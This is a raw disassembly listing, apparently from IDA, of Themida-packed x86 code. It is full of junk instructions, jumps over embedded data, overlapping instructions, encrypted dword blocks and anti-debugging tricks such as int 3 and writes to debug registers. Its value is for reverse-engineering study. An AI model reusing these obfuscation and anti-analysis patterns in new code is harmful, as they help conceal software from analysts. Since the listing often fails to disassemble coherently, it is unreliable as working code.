pusha jb loc_5CF8FC mov ecx, 0C4D179Ch loc_5CF8FC: ; CODE XREF: sub_5CF8CC+25j adc bh, 9Ch popa jmp loc_5CF90E ; --------------------------------------------------------------------------- push ebp mov edi, 96202857h shr byte ptr [eax-26h], 1 loc_5CF90E: ; CODE XREF: sub_5CF8CC+34j mov ax, dx mov ch, 0BAh mov ebx, esi jns $+6 movsx ecx, ax jmp loc_5CF937 ; --------------------------------------------------------------------------- db 0Eh dd 757FF2A2h, 0DF0B9FF4h, 70348A31h, 28EAF043h ; --------------------------------------------------------------------------- pop ebp fisub word ptr [edi] loc_5CF937: ; CODE XREF: sub_5CF8CC+52j pusha adc bh, 9Ah popa mov cx, 0BB9Ah mov si, di mov si, 72ADh pusha stc popa jnz loc_5CF955 mov ebx, 74C298FEh loc_5CF955: ; CODE XREF: sub_5CF8CC+7Ej mov ch, 27h sbb ecx, 595A07B2h mov edi, 7A87B466h mov ebx, 3FEFE434h add cx, 6A60h mov cx, 436Ch mov ax, 0C716h mov bx, 4105h jg loc_5CF981 mov cx, di loc_5CF981: ; CODE XREF: sub_5CF8CC+ACj sub ch, 0E8h jl loc_5CF992 ja loc_5CF992 mov dl, 2Fh loc_5CF992: ; CODE XREF: sub_5CF8CC+B8j ; sub_5CF8CC+BEj stc push edx jg $+6 pop edx stc sbb bl, 0FEh mov esi, ecx cmc jo loc_5CF9AA mov al, 0EEh loc_5CF9AA: ; CODE XREF: sub_5CF8CC+D6j pusha jmp loc_5CF9B7 ; --------------------------------------------------------------------------- dd 972BEBD2h db 0ADh, 2 dup(0C2h) ; --------------------------------------------------------------------------- loc_5CF9B7: ; CODE XREF: sub_5CF8CC+DFj pusha mov ax, 3D2Ah jmp loc_5CF9D2 ; --------------------------------------------------------------------------- xchg eax, esp mov [ebx+2E54243Ch], esp xor al, 34h retf 0BCD0h ; --------------------------------------------------------------------------- db 32h, 33h, 73h db 0FBh, 0Ch ; --------------------------------------------------------------------------- loc_5CF9D2: ; CODE XREF: sub_5CF8CC+F0j popa popa jmp loc_5CF9ED ; --------------------------------------------------------------------------- db 1Ah, 0Dh, 89h dd 8A8A07EAh, 5A73E43Fh, 5DC50970h, 0B4205619h ; --------------------------------------------------------------------------- popa loc_5CF9ED: ; CODE XREF: sub_5CF8CC+108j sbb di, 0B036h mov ax, 86D3h push edx movzx ebx, dx pop edx mov cl, dh pusha jmp loc_5CFA12 ; --------------------------------------------------------------------------- db 0F6h dd 368B392Dh, 9B08E486h, 0A1459FEEh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- cmpsd loc_5CFA12: ; CODE XREF: sub_5CF8CC+132j pusha mov dx, si xor di, 4094h ; CODE XREF: sub_5CF8CC+1BCj popa popa mov ecx, esi clc mov cl, dh mov dx, 697Fh or eax, 6D5E1D93h sub edi, 4DFBD0B6h jmp loc_5CFA3D ; --------------------------------------------------------------------------- align 4 dd 0F7A73BE2h db 62h ; --------------------------------------------------------------------------- loc_5CFA3D: ; CODE XREF: sub_5CF8CC+166j jle loc_5CFA56 jmp loc_5CFA56 ; --------------------------------------------------------------------------- pop ecx xchg eax, ebx push 3Ah pop esi shl byte ptr [eax+9], 1 push ebp and bl, [eax-6Ah] js short near ptr byte_5CFACC loc_5CFA56: ; CODE XREF: sub_5CF8CC:loc_5CFA3Dj ; sub_5CF8CC+177j mov ecx, 4EBB59Eh jmp loc_5CFA66 ; --------------------------------------------------------------------------- dd 148F4134h ; --------------------------------------------------------------------------- xor al, bl loc_5CFA66: ; CODE XREF: sub_5CF8CC+18Fj clc jmp loc_5CFA77 ; --------------------------------------------------------------------------- dd 0CB5C8487h, 245BBD10h db 45h, 98h, 0Ah ; --------------------------------------------------------------------------- loc_5CFA77: ; CODE XREF: sub_5CF8CC+19Bj call loc_5CFA8A mov dword ptr [esi-2B0424C5h], 0DC1F0601h inc esi stosd jbe short near ptr loc_5CFA16+2 sub_5CF8CC endp ; sp-analysis failed loc_5CFA8A: ; CODE XREF: sub_5CF8CC:loc_5CFA77p pusha adc bh, 71h mov cx, ax popa pop ebx jl loc_5CFAA9 jmp loc_5CFAA9 ; --------------------------------------------------------------------------- dw 28E4h dd 0AEB50687h, 439360FAh db 25h ; --------------------------------------------------------------------------- loc_5CFAA9: ; CODE XREF: Themida_:005CFA93j ; Themida_:005CFA99j mov edx, eax movsx eax, si and edx, 22C67925h call sub_5CFACD cmp dword ptr [ecx+2Ah], 0FFFFFFA1h inc edx loopne near ptr loc_5CFB19+1 outsd inc ebx loope near ptr sub_5CFB04+2 mov al, ds:96C3AF32h add [eax+36h], esi ; --------------------------------------------------------------------------- byte_5CFACC db 8Dh ; CODE XREF: sub_5CF8CC+188j ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CFACD proc near ; CODE XREF: Themida_:005CFAB4p jmp sub_5CFADF sub_5CFACD endp ; --------------------------------------------------------------------------- dw 229h dd 0F1B920B1h, 0BAF6A116h db 0, 7Ch, 0FAh ; =============== S U B R O U T I N E ======================================= sub_5CFADF proc near ; CODE XREF: sub_5CFACDj pop eax push esi movzx ebx, si pop ecx call sub_5CFAFA out 0CCh, eax ; DMA controller, 8237A-5. ; clear byte pointer flip-flop. xor [eax+771E5025h], al xor ch, [esi+ebx*8+4BE35760h] pop eax sub_5CFADF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CFAFA proc near ; CODE XREF: sub_5CFADF+6p call sub_5CFB04 mov al, ds:0A2D97430h sub_5CFAFA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CFB04 proc near ; CODE XREF: sub_5CFAFAp ; Themida_:005CFAC2j ; FUNCTION CHUNK AT 005CFBE5 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 005CFC21 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005CFC52 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005CFC6F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005CFC81 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005CFC97 SIZE 00000036 BYTES movzx eax, bx pop eax pop ecx mov edx, 30435DD9h jmp loc_5CFB18 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- sbb al, 96h xor al, 0BCh loc_5CFB18: ; CODE XREF: sub_5CFB04+Aj cld loc_5CFB19: ; CODE XREF: Themida_:005CFABEj jmp loc_5CFB30 ; --------------------------------------------------------------------------- dw 2085h dd 0C8B8270Dh, 1C646C59h, 0DDD4E703h, 0EF30223h ; --------------------------------------------------------------------------- loc_5CFB30: ; CODE XREF: sub_5CFB04:loc_5CFB19j jle loc_5CFB38 mov eax, ebx loc_5CFB38: ; CODE XREF: sub_5CFB04:loc_5CFB30j mov ax, si cld pusha xor edi, 1A8852Bh xor al, 84h popa mov dh, bh jmp loc_5CFB53 ; --------------------------------------------------------------------------- loc_5CFB4E: ; CODE XREF: sub_5CFB04+7Dj mov ah, 0F1h mov ebp, esi ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- loc_5CFB53: ; CODE XREF: sub_5CFB04+45j mov bx, 0E93Bh clc pusha mov edx, 6CEF4127h movsx esi, cx popa sub dx, 2497h add al, 57h push eax pusha loc_5CFB6C: ; CODE XREF: sub_5CFB04+E2j mov dx, 39FFh popa pop ecx stc call near ptr loc_5CFB83+2 jg short loc_5CFBE5 adc ds:3916199Dh, bl scasb jbe short loc_5CFB4E loc_5CFB83: ; CODE XREF: sub_5CFB04+6Fp xor bl, [eax-41A02376h] sub_5CFB04 endp ; sp-analysis failed and [ebp+edx*8-230F7EF6h], edi fcomp dword ptr [ebp+25h] jmp loc_5CFB9F ; --------------------------------------------------------------------------- dd 527A099Fh db 25h, 2Ah, 0C5h ; --------------------------------------------------------------------------- loc_5CFB9F: ; CODE XREF: Themida_:005CFB93j call near ptr loc_5CFBAD+2 or eax, esp stosd mov word ptr [ebp+61211D0Ch], cs loc_5CFBAD: ; CODE XREF: Themida_:loc_5CFB9Fp mov edi, es:[ecx+4D6F62ABh] pop esi movsx ecx, bx mov eax, edx or dx, 0AD74h push eax pop eax jnz loc_5CFBC9 mov ah, 0BFh loc_5CFBC9: ; CODE XREF: Themida_:005CFBC1j stc loc_5CFBCA: ; CODE XREF: Themida_:005CFC44j or esi, 4686F688h or bh, 9Ah jmp near ptr loc_5CFBEA+1 ; --------------------------------------------------------------------------- dd 8B64F9E2h, 0BABB48B3h, 9B58DD93h db 0DEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CFB04 loc_5CFBE5: ; CODE XREF: sub_5CFB04+74j xchg eax, ebp jns short loc_5CFB6C pop esi cli loc_5CFBEA: ; CODE XREF: Themida_:005CFBD3j mov al, 0Fh add dword ptr [eax+eax], 0 add [esi-42h], ah adc al, 5Bh mov si, 3F3Ch movzx ebx, di jle loc_5CFC04 mov ebx, esi loc_5CFC04: ; CODE XREF: sub_5CFB04+F8j movzx edi, si mov ah, 56h mov al, dl mov si, bx mov eax, ecx cmc jmp loc_5CFC21 ; END OF FUNCTION CHUNK FOR sub_5CFB04 ; --------------------------------------------------------------------------- dw 87D2h dd 44058050h, 70056443h db 0Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CFB04 loc_5CFC21: ; CODE XREF: sub_5CFB04+10Dj and ax, 0CFD2h mov ebx, ecx adc eax, 28937A73h push edx mov cx, ax pop eax movsx esi, bx mov dx, 545Ch mov ebx, ecx jmp loc_5CFC52 ; END OF FUNCTION CHUNK FOR sub_5CFB04 ; --------------------------------------------------------------------------- jmp fword ptr [edx+ebp*2] ; --------------------------------------------------------------------------- jge short loc_5CFBCA adc dh, [edi-6Ah] sub eax, 9DC549D9h icebp xor dl, [esi+0Bh] ; START OF FUNCTION CHUNK FOR sub_5CFB04 loc_5CFC52: ; CODE XREF: sub_5CFB04+138j mov esi, 345D4A8Dh jmp loc_5CFC6F ; END OF FUNCTION CHUNK FOR sub_5CFB04 ; --------------------------------------------------------------------------- dd 5789B069h, 39FC54C2h, 52A0A2A4h, 6E473FA3h db 0DDh, 0C5h, 0A9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CFB04 loc_5CFC6F: ; CODE XREF: sub_5CFB04+153j mov si, 498Ah jmp loc_5CFC81 ; END OF FUNCTION CHUNK FOR sub_5CFB04 ; --------------------------------------------------------------------------- dd 58B9C9B2h, 7F3ED737h db 21h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CFB04 loc_5CFC81: ; CODE XREF: sub_5CFB04+16Fj mov ch, dl cld jmp loc_5CFC97 ; END OF FUNCTION CHUNK FOR sub_5CFB04 ; --------------------------------------------------------------------------- db 9Fh, 0D6h, 2Dh dd 60158619h, 0FFC98064h db 53h, 5Bh, 0E2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5CFB04 loc_5CFC97: ; CODE XREF: sub_5CFB04+180j jnz loc_5CFCA0 movzx eax, di loc_5CFCA0: ; CODE XREF: sub_5CFB04:loc_5CFC97j mov cx, 329Dh jz loc_5CFCAD loc_5CFCAA: ; CODE XREF: Themida_:005CFD0Cj sub cl, 0A2h loc_5CFCAD: ; CODE XREF: sub_5CFB04+1A0j sbb cx, 0BBC8h mov ax, di jl loc_5CFCDA jp loc_5CFCDA call sub_5CFCD9 das dec esi jmp near ptr 52BBA97Fh ; END OF FUNCTION CHUNK FOR sub_5CFB04 ; --------------------------------------------------------------------------- db 1, 14h, 12h dd 28957727h, 86A82B8Eh db 0F6h ; =============== S U B R O U T I N E ======================================= sub_5CFCD9 proc near ; CODE XREF: sub_5CFB04+1BDp pop edx loc_5CFCDA: ; CODE XREF: sub_5CFB04+1B1j ; sub_5CFB04+1B7j stc sbb ecx, 58F16D49h call near ptr loc_5CFCE9+2 arpl sp, bx stosb loc_5CFCE9: ; CODE XREF: sub_5CFCD9+8p fild dword ptr gs:[ecx-0A54A70Eh] sub_5CFCD9 endp ; sp-analysis failed inc ecx pop eax jbe loc_5CFCFC mov bx, 6BD7h loc_5CFCFC: ; CODE XREF: Themida_:005CFCF2j jnb loc_5CFD13 pusha jmp loc_5CFD0E ; --------------------------------------------------------------------------- dd 0CD22884Ch ; --------------------------------------------------------------------------- jmp short loc_5CFCAA ; --------------------------------------------------------------------------- loc_5CFD0E: ; CODE XREF: Themida_:005CFD03j mov cx, 0C168h popa loc_5CFD13: ; CODE XREF: Themida_:loc_5CFCFCj clc jmp loc_5CFD20 ; --------------------------------------------------------------------------- db 7Bh, 0Fh, 0F1h dd 9C878EECh ; --------------------------------------------------------------------------- loc_5CFD20: ; CODE XREF: Themida_:005CFD14j mov cl, 7Bh mov cx, si pusha pusha mov di, 6E76h mov si, 4CDDh popa xor ecx, 40BB0088h popa pusha mov edx, 34CABD37h popa cmc push ecx jnb loc_5CFD60 call sub_5CFD5F mov dh, 91h cmp al, dl jp short near ptr loc_5CFD91+3 and byte ptr [ecx-7375C6D6h], 22h jmp near ptr 6A25661Bh ; --------------------------------------------------------------------------- db 0EAh, 67h ; =============== S U B R O U T I N E ======================================= sub_5CFD5F proc near ; CODE XREF: Themida_:005CFD46p pop ecx loc_5CFD60: ; CODE XREF: Themida_:005CFD40j pop eax pusha movsx ecx, si call near ptr loc_5CFD71+5 sbb ebx, [ecx-76829E5Ah] cli loc_5CFD71: ; CODE XREF: sub_5CFD5F+6p cmp dword ptr [esi], 80272561h sub_5CFD5F endp ; sp-analysis failed mov dword ptr [esi], 81666158h test byte ptr [ebp-42h], 0Fh mov bh, 0FAh mov di, 7EDEh mov esi, 7EE785F4h call near ptr loc_5CFD9D+4 loc_5CFD91: ; CODE XREF: Themida_:005CFD4Fj mov al, ds:5D8BFEC5h mov dr6, esp pop ebp xor cl, dl out dx, al loc_5CFD9D: ; CODE XREF: Themida_:005CFD8Cp fadd dword ptr [ebp-77F0CE63h] add eax, 0B8000000h and edx, [eax] inc eax ja short near ptr loc_5CFE0A+2 jno loc_5CFDB7 push edx pusha popa pop esi loc_5CFDB7: ; CODE XREF: Themida_:005CFDADj mov dh, 0E3h mov dx, 0BA30h mov si, cx stc jmp loc_5CFDD6 ; --------------------------------------------------------------------------- retn 8170h ; --------------------------------------------------------------------------- db 0D4h, 47h, 0ADh dd 26468172h, 0F065D112h db 0DCh, 0A1h ; --------------------------------------------------------------------------- loc_5CFDD6: ; CODE XREF: Themida_:005CFDC1j jmp loc_5CFDE7 ; --------------------------------------------------------------------------- db 61h dd 7F2DB4FCh, 3A087D06h db 0F4h, 6Ah, 75h ; --------------------------------------------------------------------------- loc_5CFDE7: ; CODE XREF: Themida_:loc_5CFDD6j push ebx sbb dx, 3BBCh pop ecx jp loc_5CFE01 call near ptr sub_5CFDFE ; --------------------------------------------------------------------------- db 0C4h, 0DEh, 0C8h db 8Fh, 15h ; =============== S U B R O U T I N E ======================================= sub_5CFDFE proc far ; CODE XREF: Themida_:005CFDF4p ; FUNCTION CHUNK AT 005CFE77 SIZE 00000014 BYTES pusha popa pop esi loc_5CFE01: ; CODE XREF: Themida_:005CFDEEj call near ptr locret_5CFE18+2 jle short loc_5CFE77 cmpsd sti loc_5CFE0A: ; CODE XREF: Themida_:005CFDABj shl byte ptr [ecx], 0AEh scasb pop ebp mov ah, 8Ch and al, 24h mov esp, 6F6B6C06h locret_5CFE18: ; CODE XREF: sub_5CFDFE:loc_5CFE01p retf 0F19h sub_5CFDFE endp ; sp-analysis failed ; --------------------------------------------------------------------------- add dword ptr [edx], 60000000h popa pop edx jnb loc_5CFE2B mov ah, bh loc_5CFE2B: ; CODE XREF: Themida_:005CFE23j mov ecx, edi cld jmp loc_5CFE3B ; --------------------------------------------------------------------------- db 0C9h dd 8F9FD838h ; --------------------------------------------------------------------------- xor ch, 6Ah loc_5CFE3B: ; CODE XREF: Themida_:005CFE2Ej jmp loc_5CFE4B ; --------------------------------------------------------------------------- dec ebx fld qword ptr [eax+67427E48h] dec esp db 66h xlat cmpsd loc_5CFE4B: ; CODE XREF: Themida_:loc_5CFE3Bj mov ax, 2E65h mov al, 0ECh ja loc_5CFE69 pusha pusha popa call sub_5CFE67 pop esi dec edi mov dl, 82h cli int 3 ; Trap to Debugger push ebp pop ss ; =============== S U B R O U T I N E ======================================= sub_5CFE67 proc near ; CODE XREF: Themida_:005CFE5Ap pop edx popa loc_5CFE69: ; CODE XREF: Themida_:005CFE51j sbb bx, 79A2h and ch, 97h adc ecx, 4629C4A2h sub_5CFE67 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_5CFDFE loc_5CFE77: ; CODE XREF: sub_5CFDFE+8j jge loc_5CFE82 xor si, 0E6B8h loc_5CFE82: ; CODE XREF: sub_5CFDFE:loc_5CFE77j call sub_5CFE8F pop ebp xchg eax, edi lahf hlt ; END OF FUNCTION CHUNK FOR sub_5CFDFE ; --------------------------------------------------------------------------- db 0F9h db 0B6h, 0DBh, 14h ; =============== S U B R O U T I N E ======================================= sub_5CFE8F proc near ; CODE XREF: sub_5CFDFE:loc_5CFE82p adc ch, 7Eh pop edx jno loc_5CFE9B mov ah, 98h loc_5CFE9B: ; CODE XREF: sub_5CFE8F+4j pusha mov edx, edi popa adc ebx, 2BFCBA0Eh clc jmp loc_5CFEBE ; --------------------------------------------------------------------------- db 54h dd 371B55C8h, 0C470DC0h, 8BC87A5Fh, 4EC53037h db 0A7h, 0D0h ; --------------------------------------------------------------------------- loc_5CFEBE: ; CODE XREF: sub_5CFE8F+17j push eax call sub_5CFED4 pop ebx sub bh, [ebx-1C8B7D24h] setalc dec ecx adc al, 9Ah cmp dword ptr [edx+34h], 60h dec ebp sub_5CFE8F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CFED4 proc near ; CODE XREF: sub_5CFE8F+30p mov ebx, 512C5B1Fh pop edi pop esi sub bx, 1490h pusha mov edx, esi popa call near ptr loc_5CFEED+3 aad 0AEh fcmovu st, st(4) loc_5CFEED: ; CODE XREF: sub_5CFED4+10p rep and [ebx-7Fh], ch sub_5CFED4 endp ; sp-analysis failed out 1Bh, eax dec esi sahf adc eax, 13E8F55Fh ; --------------------------------------------------------------------------- dw 0 dd 7BBD7000h, 596E0BB0h, 2D32FE5Ah, 0E6BB443Dh, 90628C4Ah dd 37DA8166h, 890F5E79h, 5, 9FD08166h, 60D9B214h, 0E8F38B66h dd 0Fh, 0EA3A5E44h, 6063B42Ah, 0F0DF04A2h, 0E81EB576h dd 12h, 610D6223h, 7A801F1Ah, 367F9D93h, 0BF05BDC2h, 5B5F0907h dd 9E961h, 5C250000h, 0BDBF3B9Ah, 0F5A7C60h, 0E86h, 9E900h dd 3C100000h, 7DC0C703h, 0B65E0592h, 0D88B664Fh, 0FE9h dd 0EF721B00h, 999B498h, 9CB39FACh, 74BC1273h, 0B9DE52BBh dd 5BC28019h, 0D1F38166h, 0E9F86014h, 12h, 0DB960D29h dd 0A79A334h, 3C799DBDh, 7FC5035Ah, 0F61DCAEh, 1289h, 0C890F00h dd 0E9000000h, 7, 65AD161h, 0B0A161E2h, 0EFBE6602h, 0FEC0801Ah dd 13E9h, 3AEC9D00h, 3B6CB6C0h, 0D3491FD9h, 0A4EEDEB2h dd 0E6C86F19h, 0BCB3C78Bh, 0EED98166h, 0BE665344h, 0E85BD996h dd 10h, 98945D4Eh, 4F17E463h, 93B34475h, 7BF53D24h, 665259FCh dd 0E599E781h, 0C7BF0F58h, 55D5BF66h, 12E8h, 0C1B9D000h dd 71F070EBh, 3C9D7EDDh, 3E6C0B1Eh, 0F8E7C8A6h, 5E85Ah dd 94810000h, 6664116Ch, 2F68E681h, 850F5Ah, 81000000h dd 52EAAE8h, 860F536Ah, 0 ; --------------------------------------------------------------------------- pop eax xor ax, 0F288h xor bh, 27h pusha push edi jmp loc_5D0079 ; --------------------------------------------------------------------------- add al, 19h imul eax, esi sti shr dword ptr [esp+esi], 1 ; CODE XREF: Themida_:005D00DEj loc_5D0079: ; CODE XREF: Themida_:005D006Bj pop edi and ch, 0EEh popa jmp loc_5D0089 ; --------------------------------------------------------------------------- db 60h dd 0C3F688E0h db 0Fh ; --------------------------------------------------------------------------- loc_5D0089: ; CODE XREF: Themida_:005D007Ej jnp loc_5D0091 mov eax, ebx loc_5D0091: ; CODE XREF: Themida_:loc_5D0089j ; Themida_:005D00FFj sbb edx, 53900F41h sbb dl, 46h jnz loc_5D00B1 jmp loc_5D00B1 ; --------------------------------------------------------------------------- db 0A2h, 31h, 17h dd 0D7327812h, 6DE9F353h ; --------------------------------------------------------------------------- sti loc_5D00B1: ; CODE XREF: Themida_:005D009Aj ; Themida_:005D00A0j jmp loc_5D00BB ; --------------------------------------------------------------------------- dw 0E9Ch db 81h, 0CAh, 9Bh ; --------------------------------------------------------------------------- loc_5D00BB: ; CODE XREF: Themida_:loc_5D00B1j jnp loc_5D00D2 jmp loc_5D00D2 ; --------------------------------------------------------------------------- dw 61D5h dd 0F5540192h, 7D3EE50Ch ; --------------------------------------------------------------------------- xor [ebx], cl loc_5D00D2: ; CODE XREF: Themida_:loc_5D00BBj ; Themida_:005D00C1j call sub_5D00EA add eax, 7E75A972h in eax, 18h js short near ptr loc_5D0076+2 mov dword ptr [edi+7DFFD3E4h], 2805707h ; =============== S U B R O U T I N E ======================================= sub_5D00EA proc near ; CODE XREF: Themida_:loc_5D00D2p jns loc_5D00F1 cmc loc_5D00F1: ; CODE XREF: sub_5D00EAj pop ebx call near ptr loc_5D00FD+1 push es mov edx, 0FFCD0E30h loc_5D00FD: ; CODE XREF: sub_5D00EA+8p mov bh, 80h sub_5D00EA endp ; sp-analysis failed jecxz short near ptr loc_5D0091+4 pop ecx mov bl, al jg loc_5D0120 push ebx call near ptr loc_5D011B+3 mov dl, 9Ch inc eax test byte ptr [ebx], 4 out 0Dh, al ; DMA controller, 8237A-5. ; master clear. ; Any OUT clears the ctrlr (must be re-initialized) popf dec ecx popa loc_5D011B: ; CODE XREF: Themida_:005D010Bp mov esi, 58593990h loc_5D0120: ; CODE XREF: Themida_:005D0104j push edi jmp loc_5D012B ; --------------------------------------------------------------------------- mov ebx, 811C0242h loc_5D012B: ; CODE XREF: Themida_:005D0121j pop eax mov di, bx mov esi, 545841F2h sub al, 3Ch mov ch, 0Ah pusha pusha pusha popa jnz $+6 popa mov bx, ax popa mov ebx, eax clc jbe loc_5D015D pusha jz $+6 mov si, 0EA7h popa loc_5D015D: ; CODE XREF: Themida_:005D014Bj jmp loc_5D016D ; --------------------------------------------------------------------------- dw 0F49Ch dd 0E2348C24h, 61414EB7h db 0C6h ; --------------------------------------------------------------------------- loc_5D016D: ; CODE XREF: Themida_:loc_5D015Dj jb loc_5D0178 mov eax, 4160F88Fh loc_5D0178: ; CODE XREF: Themida_:loc_5D016Dj xor edx, 332F692Ch movzx edx, di movzx edx, bx mov ax, si jg loc_5D01A1 jmp loc_5D01A1 ; --------------------------------------------------------------------------- dw 780Bh dd 9ABF6215h, 3CFEBCBCh, 3C6C7171h ; --------------------------------------------------------------------------- pop edi loc_5D01A1: ; CODE XREF: Themida_:005D0187j ; Themida_:005D018Dj mov edi, 2433D9A1h cmc sub ax, 0F859h call near ptr loc_5D01B9+4 and [ebx-3Eh], ebp mov al, ds:73A1DDB2h loc_5D01B9: ; CODE XREF: Themida_:005D01ACp xor dword ptr [ebp-1Ah], 0E958F89Ch adc al, 0 ; --------------------------------------------------------------------------- dw 0 dd 0DF3CEC9Fh, 0E2FD9E38h, 0F6031D66h, 0AF9FB8E4h, 61D95596h dd 0E803D580h, 11h, 0DD7B0844h, 405F3270h, 7753DBD3h, 467290D1h dd 0C2B70F51h, 38A0F5Ah, 66000000h, 870FD18Bh, 8, 28B0Fh dd 0D78B0000h, 2850Fh, 0EF8A0000h, 0E9FB8B66h, 13h, 0A9BD3E25h dd 275166AEh, 5484BF0Ch, 0F7D37CEh, 0F3C4143h, 5E9D2BFh dd 0BE000000h, 672782C1h, 860Fh, 8B560000h, 0B9665BDEh dd 8A0FC39Eh, 3, 60A5CE80h, 0E8FA8B66h, 9, 4378F7Ah, 69A05F52h dd 0BE972h, 37510000h, 0E5533126h, 0E24B7DDBh, 8B615874h dd 0CB8B66D8h, 9E9h, 5C45F000h, 994CD03Ah, 8166F6F1h, 0FDA25F0h dd 0B70FD8BFh, 0F5CB7FBh, 870FD0BFh, 4, 0F722BE66h, 0D848F081h dd 0B70F4263h, 605956FEh, 6CE8E6BAh, 0D08B6067h, 7CE7C881h dd 616135D9h, 0D2CE8166h, 0AE9569Ch, 0ED000000h, 0A17723C0h dd 829D9C85h, 8A0F5E6Bh, 4, 5AFB8B50h, 3860Fh, 0BF0F0000h dd 7FA4B8F0h, 0B70F0987h, 0EE9DAh, 73F40000h, 0F5E469EAh dd 164FE21Ch, 0E874F1E7h, 10E8h, 4B38700h, 6EC867CEh, 38179B8h dd 4D33B47Ah, 74E580A1h, 58B0F5Ah, 66000000h, 37EEDF81h dd 68E28166h, 13E9C6h, 924F0000h, 6629F4CFh, 2229982Ah dd 9C7E224h, 83D80CB2h, 0BF0FFC30h, 0D18166CFh, 830FAE01h dd 9, 3890Fh, 0BF0F0000h, 6090B6D8h, 6830Fh, 8E0F0000h dd 0 dd 44C78166h, 66526168h, 0DEDAEB81h, 58A0F58h, 0B9000000h dd 61B779C8h, 7E8h, 0EA9C7C00h, 0BBE0E91Ch, 0F18B6659h dd 0D281D88Bh, 7369965Fh, 8B15EB80h, 0DE8166C8h, 0F08B1179h dd 0BBE88166h, 0B866565Fh, 0E9582C93h, 14h, 0FC920A2Ch dd 0E22BF8DFh, 8DC0B794h, 7544B778h, 57347FABh, 78F08166h dd 8B665253h, 12E959F9h, 8C000000h, 7D76C8DFh, 0B1CAC38h dd 0CFAE309Ah, 9AA37FB0h, 38B0F18h, 66000000h, 6651F18Bh dd 5A7FC3BFh, 58B0Fh, 10BE0000h, 667B0035h, 0BE24EABFh dd 112DC215h, 0FE9h, 0BA58C600h, 0E171D12h, 0B8A28C0Ah dd 9553A13Dh, 0AE8DF8Bh, 20000000h, 0DEC2F1CDh, 0C71EA03Eh dd 58B4B7F5h, 0B866C28Bh, 0DF804403h, 0E580600Eh, 0FC61F8F5h dd 0FE8h, 42E0DA00h, 0ABFC9EE9h, 0DE83084h, 9DE983DFh dd 0FE9h, 0E9615A00h, 2A7C5033h, 77C816B6h, 0FC51EDACh dd 0D681665Bh, 79B6F6C4h, 20C08166h, 0AE821h, 56E70000h dd 0FDB68376h, 893E590Ah, 8A0F60h, 61000000h, 13E9F95Ah dd 57000000h, 81B1E5A1h, 3BDE090Bh, 0F65FF8B3h, 1F813DD8h dd 0FE806E1h, 0E8000000h, 7A19E9D7h, 4E4659C2h, 0D8878A62h dd 0DE81A174h, 2937F886h, 3820F5Eh, 0F000000h, 14E9CAB7h dd 18000000h, 7F278A02h, 34632850h, 6D1CCE2Bh, 0A5E459D0h dd 66A16BFEh, 8B66D38Bh, 40C280F9h, 5650CA8Bh, 8D14DE81h dd 5F59576Eh, 8166F78Bh, 0F81BED6h, 1A83h, 0FE800h, 69B30000h dd 36156413h, 0DCE4A58h, 0DCE5FA75h, 0C9816604h, 0BA5E5721h dd 115727E1h, 5E960h, 0AC0F0000h, 619DC425h, 6CA776BEh dd 0B8666025h, 810FCB94h, 6, 8A0Fh, 60610000h, 0B89F49BAh dd 0A9BDBB6Fh, 8A61726Bh, 57C38BD8h, 0BFC18166h, 60505E01h dd 0BE9h, 0D3119500h, 0C71A391Ah, 0A11173B1h, 815E61F5h dd 2E9904E8h, 81CA8170h, 0E942777Bh, 0Bh, 3D8F60A6h, 214DB3FEh dd 81676EF1h, 0BDEEB7C6h, 0A890F75h, 0E9000000h, 5, 276EB1C8h dd 8E903h, 0A0C70000h, 0A3565A01h, 810FF7E3h, 0 ; --------------------------------------------------------------------------- mov ax, 0DF3Ch mov cx, 79BAh jmp loc_5D05DD ; --------------------------------------------------------------------------- db 0EFh, 0FBh, 48h dd 75345513h, 0B64C171Bh, 5B31BE10h db 78h ; --------------------------------------------------------------------------- loc_5D05DD: ; CODE XREF: Themida_:005D05C8j mov cx, dx xor ax, 0D5A5h mov edx, esi mov di, 0FB75h jns loc_5D05FD jmp loc_5D05FD ; --------------------------------------------------------------------------- dw 1F99h dd 0EC01FA09h db 0BEh ; --------------------------------------------------------------------------- loc_5D05FD: ; CODE XREF: Themida_:005D05EBj ; Themida_:005D05F1j call loc_5D0609 cmpsd xor al, 9Fh dec ebx les ebp, [ebx-19h] loc_5D0609: ; CODE XREF: Themida_:loc_5D05FDp sub al, 0Ah pop ecx pusha mov bx, dx adc dx, 403Ah popa mov di, 0C04Eh xor edx, 747F5954h push esi mov edx, 364A1549h pop edx jge loc_5D064A call sub_5D0646 inc ecx xchg eax, ecx xchg eax, ecx inc ecx inc edx inc eax pushf ; --------------------------------------------------------------------------- dw 0F78Eh dd 0FAA31F73h, 0F8712503h ; --------------------------------------------------------------------------- std lodsb ; =============== S U B R O U T I N E ======================================= sub_5D0646 proc near ; CODE XREF: Themida_:005D062Ep mov di, bx pop edi loc_5D064A: ; CODE XREF: Themida_:005D0628j call near ptr loc_5D0659+3 and eax, 10EE7208h inc esi xchg eax, [edx] inc eax loc_5D0659: ; CODE XREF: sub_5D0646:loc_5D064Ap mov esp, 50609482h sub_5D0646 endp ; sp-analysis failed pop ecx popa pop ebx jb loc_5D0681 pusha call sub_5D067C cwde jmp near ptr 1ACC0087h ; --------------------------------------------------------------------------- db 56h dd 0F5E74A63h, 367CDC3Dh ; =============== S U B R O U T I N E ======================================= sub_5D067C proc near ; CODE XREF: Themida_:005D0668p pop ecx mov si, ax popa loc_5D0681: ; CODE XREF: Themida_:005D0661j xor ah, 8Dh 